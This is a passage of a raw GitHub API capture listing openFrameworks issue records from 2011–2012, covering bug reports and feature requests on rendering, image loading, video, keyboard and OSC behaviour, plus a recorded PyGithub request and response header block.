\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,5319.msg33381.html#msg33381\r\n\r\nI wonder if we can be smarter in endShape() / ofPath::tessellate() and look for simple usage (3 or 4 points, etc) before tessellating, or if the slow down is just based on the use of the ofPath object. \r\n\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719","comments":1,"milestone":null,"number":719,"html_url":"https://github.com/openframeworks/openFrameworks/issues/719","assignee":null,"title":"optimize ofEndShape() to deal with simple shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-22T16:56:27Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1459353,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T16:02:30Z","body":"change\r\n\r\nfloat ofCamera::getImagePlaneDistance(ofRectangle viewport) const {\r\n\treturn getPosition().length(); //viewport.height / (2.0f * tanf(PI * fov / 360.0f));\r\n}\r\n\r\nold in comment\r\n\r\ncurrent system is abitrary\r\nsuggest new system is more sensible\r\n(i'm always working in normalised coords)\r\npls check in your life before changing :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717","comments":0,"milestone":null,"number":717,"html_url":"https://github.com/openframeworks/openFrameworks/issues/717","assignee":null,"title":"suggest new calc clip planes routine","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-22T16:02:30Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1458979,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T14:11:34Z","body":"http://forum.openframeworks.cc/index.php/topic,5222.msg33366.html#msg33366\r\n\r\nthere also seem to be a memory leak, when deleting a ofQuicktimeVideoPlayer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716","comments":0,"milestone":null,"number":716,"html_url":"https://github.com/openframeworks/openFrameworks/issues/716","assignee":null,"title":"problems with stop/play in quicktime videoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-22T14:11:34Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1458044,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-16T13:39:49Z","body":"Here\r\nhttps://github.com/openframeworks/openFrameworks/issues/653\r\nI downloaded latest version but in still crashes on my old video card Nvidia GeForce Go 7200.\r\nAny idea why?\r\nofxFBOTexture works, but i got some trobles in pixel format there. \r\nofxFBOTexture uses function with postfix EXT sometimes? ofFbo without it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711","comments":5,"milestone":null,"number":711,"html_url":"https://github.com/openframeworks/openFrameworks/issues/711","assignee":null,"title":"Problem with ofFbo. Crashes on allocate.There were the same issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-08-16T10:21:29Z","state":"open","user":{"url":"https://api.github.com/users/IonRod","gravatar_id":"cf3cb346817dd8a9f8327d1af13c3d46","login":"IonRod","avatar_url":"https://secure.gravatar.com/avatar/cf3cb346817dd8a9f8327d1af13c3d46?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":886012},"id":1414013,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-15T14:23:47Z","body":"i'm noticing this on osx 10.6. all 8-bit images are correct, but somehow i didn't notice about unsigned short and float until now!\r\n\r\ni'm super busy atm, but i've kind of been maintaining the unsigned short/float loading so i'll look into this if someone else doesn't get to it first.\r\n\r\nmeanwhile it would be good to see if it's the same on windows or not. for anyone interested in testing, please check devApps/AdvancedImageLoading and compare the results of the app to the .exr opened in photoshop.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/710","comments":0,"milestone":null,"number":710,"html_url":"https://github.com/openframeworks/openFrameworks/issues/710","assignee":null,"title":"16-bit and 32-bit images are red/blue swapped","labels":[],"closed_at":null,"created_at":"2011-08-15T14:23:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1407813,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-07T12:19:07Z","body":"in the past there has been ofxQtVideoSaver and a few others. i think this is a really hard problem because it basically needs to be written for each platform, but something that should eventually be solved.\r\n\r\ntwo major use cases i know are:\r\n\r\n- capturing and saving simultaneously, for long streams\r\n- capturing a quick burst of video then saving it to disk\r\n\r\nwhich would might be handled a little differently.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702","comments":1,"milestone":null,"number":702,"html_url":"https://github.com/openframeworks/openFrameworks/issues/702","assignee":null,"title":"cross platform video saving (ofVideoSaver?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-07T03:23:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1359729,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-06T20:20:03Z","body":"Hi!\r\n\r\nI have problems even getting the ofxOsc Send/Receive examples talking on Ubuntu 11.04 64bit. \r\nThey compile without problems, but sometimes when I run them, communication fails somewhere along the road - input events are not shown in the receiver app. Sometimes it does not work at all.\r\n\r\nThis works all flawlessly on 32bit Ubuntu 11.04. See http://forum.openframeworks.cc/index.php/topic,6918.0.html for more details.\r\n\r\nCan anyone reproduce these problems? Any tips? How could I debug this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701","comments":3,"milestone":null,"number":701,"html_url":"https://github.com/openframeworks/openFrameworks/issues/701","assignee":null,"title":"ofxOsc does not seem to work on 64bit Ubuntu","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-08-06T19:14:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":1358688,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-05T03:06:25Z","body":"very simple but helpful feature request. e.g.,\r\n\r\nofBuffer::operator=(const ofBuffer& mom) {\r\n set(mom.getBinaryBuffer(), mom.size());\r\n}\r\n\r\nthis goes along with the general \"what does the equal operator mean\" debate/discussion :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700","comments":0,"milestone":null,"number":700,"html_url":"https://github.com/openframeworks/openFrameworks/issues/700","assignee":null,"title":"ofBuffer with overloaded = operator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-05T03:06:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1349012,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:28Z","body":"this seems like an api inconsistency to me: i feel like ofTexture::loadData() is similar to ofImage::setFromPixels(), but setFromPixels() will allocate space if necessary while loadData() just prints an error if the data is larger than the allocated space.\r\n\r\ni think auto-allocation would be nice, but i might just be misunderstanding/making a false comparison here.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":699,"html_url":"https://github.com/openframeworks/openFrameworks/issues/699","assignee":null,"title":"loadData() does not allocate as necessary","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-04T10:29:57Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1343463,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:12:03Z","body":"from: http://forum.openframeworks.cc/index.php/topic,6952.msg32509.html\r\n\r\n\r\n\r\ngetBmpFromPixels() crashed repeatedly when I tried to rescale grayscale Images of size 3026*2048.\r\n\r\nIt's because memcpy overshoots the src pixel array because dstStride can be larger than srcStride.\r\n\r\nIn ofImage.cpp \r\n\r\ngetBmpFromPixels()\r\n\r\naround line 119, I believe, it should read:\r\n\r\nCode:\r\nview plaincopy to clipboardprint?\r\n... \r\n int srcStride = width * pix.getBytesPerPixel(); \r\n int dstStride = FreeImage_GetPitch(bmp); \r\n unsigned char* src = (unsigned char*) pixels; \r\n unsigned char* dst = bmpBits; \r\n for(int i = 0; i < (int)height; i++) { \r\n // memcpy(dst, src, dstStride); \r\n memcpy(dst, src, srcStride); // did overshoot with e.g. grayscale img of size 3026*2048 \r\n src += srcStride; \r\n dst += dstStride; \r\n } \r\n... \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/698","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":698,"html_url":"https://github.com/openframeworks/openFrameworks/issues/698","assignee":null,"title":"getBmpFromPixels memcpy issue / ofImage::resize issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-03T18:15:55Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1339116,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:34:07Z","body":"I'm trying to build ofxPd in Visual Studio and running into multiple define issues related to the videoinput lib, namely static `verbose`: https://github.com/openframeworks/openFrameworks/blob/master/libs/videoInput/include/videoInput.h#L115\r\n\r\nCouldn't this variable as well as `comInitCount` be moved to the implementation files? or at least in a header hidden from the global namespace? At the least, `verbose` could be renamed to something not so common ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697","comments":1,"milestone":null,"number":697,"html_url":"https://github.com/openframeworks/openFrameworks/issues/697","assignee":null,"title":"videoinput lib global statics","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-03T02:27:52Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1334657,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T00:53:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/685","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":685,"html_url":"https://github.com/openframeworks/openFrameworks/issues/685","assignee":null,"title":"update shader example to work on ati.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-28T15:57:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1303812,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:40:42Z","body":"It is very annoying if you can not disable autocorrections in ofxiPhoneKeyboard. Specially for creative uses of this class. I add code how to add this feature.\r\n\r\n[CODE] Add to ofxiPhoneKeyboard class:\r\n\r\n- (void)disableAutoCorrection;\r\n- (void)enableAutoCorrection;\r\n\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::disableAutoCorrection()\r\n{\r\n [keyboard disableAutoCorrection];\r\n}\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::enableAutoCorrection()\r\n{\r\n [keyboard enableAutoCorrection];\r\n}\r\n\r\n- (void)disableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeNo;\r\n}\r\n\r\n- (void)enableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeYes;\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684","comments":0,"milestone":null,"number":684,"html_url":"https://github.com/openframeworks/openFrameworks/issues/684","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhoneKeyboard should have disable/enable methods for auto correction","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-07-28T12:12:52Z","state":"open","user":{"url":"https://api.github.com/users/mcanet","gravatar_id":"e4d2b0151a843dde7b815b848170d6e9","login":"mcanet","avatar_url":"https://secure.gravatar.com/avatar/e4d2b0151a843dde7b815b848170d6e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":308759},"id":1302375,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-24T18:26:54Z","body":"I think there's a bug in ofQuaternion in of007. When i use ofNode's setOrientation() or ofNode setRoll I can rotate my ofNode object around the Z axis. However when I try to obtain the current rotation around the Z axis it will always give a value like -180, 0 or 180.\r\n\r\nRick","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679","comments":0,"milestone":null,"number":679,"html_url":"https://github.com/openframeworks/openFrameworks/issues/679","assignee":null,"title":"possible bug in getEuler / getOrientation / getRoll","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-24T18:26:54Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":1278252,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:13:24Z","body":"I know that with the 007 release ofxDirList addon is deprecated and instead we are encouraged to use ofDirectory to achiece the same kind of functionality. In fact the are so similar that is possible to use them interchangeably. To do that transparently you changed the ofxDirList.h so that it made a typedef to point to ofDirectory (and will probably remove it completely someday).\r\n\r\nThe contents of ofxDirList.h are the following:\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#pragma once\r\n\r\n#include \"ofFileUtils.h\"\r\n\r\n#warning ofxDirList has been deprecated. \r\n#warning Remove all references to ofxDirList.h and use ofDirectory instead.\r\ntypedef ofDirectory ofxDirList;\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\nSo far so good. The problem is that you use the #warning preprocessing directive is non-standard and unsupported on Visual C++ compiler. In fact it gives me an error while building a project that I ported from 0062 version that used ofxDirList. To make it work I had to comment the two #warning lines. \r\n\r\nI suggest that you remove the #warning directives and replace it with something else that works across all compilers. I know that the #warning directive works on GCC and MinGW but not on VC++ so if you are going to support all those compilers (like you do) you better have all of your code working across all of them.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/676","comments":2,"milestone":null,"number":676,"html_url":"https://github.com/openframeworks/openFrameworks/issues/676","assignee":null,"title":"ofxDirList deprecated #warning directive preprocessor Visual Studio 2010","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-23T01:19:54Z","state":"open","user":{"url":"https://api.github.com/users/petersaints","gravatar_id":"03848790c2ebb8e5edbe130e8ce76f1d","login":"petersaints","avatar_url":"https://secure.gravatar.com/avatar/03848790c2ebb8e5edbe130e8ce76f1d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157810},"id":1273716,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T11:29:24Z","body":"changed this in dirListExample\r\n\r\n ofFile testfile;\r\n\t// you can now iterate through the files and load them into the ofImage vector\r\n\tfor(int i = 0; i < (int)dir.size(); i++){\r\n\t\timages[i].loadImage(dir.getPath(i));\r\n\t\ttestfile.open(dir.getPath(i));\r\n\t\tcout << testfile.isFile() << endl; //THIS LINE SEGFAULTS ON WIN7\r\n testfile.close();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671","comments":0,"milestone":null,"number":671,"html_url":"https://github.com/openframeworks/openFrameworks/issues/671","assignee":null,"title":"isFile() segfaults on win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T11:27:16Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1262459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T10:39:29Z","body":"just added output to all events in an emptyExample on windows7 64bit.\r\n\r\nif im clicking, the following output occurs even if the mouse is not moved\r\n\r\n mousePressed\r\n mouseReleased\r\n mouseMoved","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670","comments":2,"milestone":null,"number":670,"html_url":"https://github.com/openframeworks/openFrameworks/issues/670","assignee":null,"title":"mouseReleased fires mouseMoved too (win7)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T09:34:52Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1261982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=9 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4935'), ('content-length', '45016'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"c403779e3346f56dddb655b8bb57d5ae"'), ('date', 'Tue, 29 May 2012 19:27:18 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-09T06:11:12Z","body":"I'm curious why the movieplayer uses AvAsset instead of AvPlayer which seems better suited for OF needs ( seeking / looping etc ) \r\n\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html\r\n\r\nhttp://stackoverflow.com/questions/5361145/looping-a-video-with-avfoundation-avplayer\r\n\r\n\r\nI think you can get init a player with an AVAsset:\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html%23//apple_ref/occ/instm/AVPlayer/initWithPlayerItem:\r\nhttp://developer.apple.com/library/ios/documentation/AVFoundation/Reference/AVPlayerItem_Class/Reference/Reference.html#//apple_ref/occ/instm/AVPlayerItem/initWithAsset:\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/666","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":666,"html_url":"https://github.com/openframeworks/openFrameworks/issues/666","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iphone video player should use AVPlayer ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-20T20:01:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1258863,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-08T04:45:01Z","body":"In some cases, when modifier keys are used, the pressedKeys set will accumulate keys.\r\n\r\nThis happens because \"modifier-up\" messages are not sent in the same way as normal and special keys.\r\n\r\nTo test, watch the size of the pressedKeys:\r\n\r\n cout << pressedKeys.size() << \" num pressed keys \" << endl;\r\n\r\nPress a modifier key and a normal key -- say ctrl-a. If the 'a' is lifted first, then the modified-a key int is removed from the pressedKeys set. If CTRL is released before the 'a', then the non-modified-a key-up int is sent, and it is not erased from the pressedKeys set. If this is repeated with different modifier+key downs / ups the accumulation occurs.\r\n\r\nUltimately, there needs to be better handling of modifier keys. Perhaps there is a way to use the modifier masks keep track of modifier keys with a call to glutGetModifiers() in the keyboard_cb and keyboard_up_cb static methods?\r\n\r\nIt looks like progress has been made toward this in 